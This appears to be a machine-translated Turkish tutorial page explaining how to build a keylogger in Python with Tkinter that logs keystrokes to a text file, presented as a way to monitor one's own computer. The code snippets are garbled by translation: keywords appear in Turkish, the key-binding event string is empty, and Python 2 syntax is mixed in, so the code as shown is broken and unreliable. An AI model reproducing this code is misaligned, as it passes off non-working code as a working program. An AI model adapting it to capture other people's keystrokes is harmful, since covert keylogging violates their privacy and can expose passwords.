Python Kullanarak Keylogger Nasıl Oluşturulur

click fraud protection
Kadın bilgisayar başında omzunun üzerinden bakıyor

Tuş vuruşlarını yakalayın ve bir dosyaya kaydedin.

Resim Kredisi: Jupiterimages/Photos.com/Getty Images

Bir bilgisayarın klavyesi aracılığıyla yazılan tuş vuruşlarını yakalamak için Python kullanarak bir keylogger programı oluşturabilirsiniz. Tuş vuruşları bir metin dosyasına kaydedilir ve tüm girdileri kaydeder. Bilgisayarınızdaki etkinliği izlemek için bir tuş kaydedici kullanabilirsiniz.

Aşama 1

IDLE'yi başlatın, "Dosya" menüsünü tıklayın ve yeni bir pencere başlatmak için "Yeni Pencere"yi seçin. "Farklı Kaydet" penceresini başlatmak için Ctrl ve S tuşlarına basın. Dosya adı olarak "getKeyLogger"ı kullanın ve "Kaydet"i tıklayın.

Günün Videosu

Adım 2

"Tkinter" ad alanını içe aktarmak için aşağıdaki kod satırını ekleyin ve günlüğe kaydetmek için kullanmak istediğiniz dosyanın yolunu tanımlayın:

Tkinter'ı tk olarak içe aktar myFile = open("C:/temp/keyFile.txt", "w")

Aşama 3

Her tuş vuruşunu dosyaya kaydetmek için aşağıdaki kodu kopyalayıp yapıştırın:

def tuşa basma (event): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

4. Adım

Kullanıcıya yazmaya başlayabileceğini ve programı sonlandırmak için Esc tuşuna basabileceğini bildirmek için aşağıdaki kodu ekleyin:

ana = tk. Tk() print "Herhangi bir tuşa basın (Çıkmak için Çıkış tuşu):" main.bind_all('', tuşa basma) main.withdraw() main.mainloop() myFile.close()

Adım 5

"Windows" başlat düğmesine tıklayın ve "programları ve dosyaları ara" kutusuna "cmd" yazın. Komut istemini açmak için Enter'a basın. "C:\Python'a gidin" ve "python getKeyLogger" yazın. Programı çalıştırmak için Enter'a basın. "C:/temp/" öğesine gidin ve tuş vuruş verilerini görüntülemek için "keyFile.txt" öğesine çift tıklayın.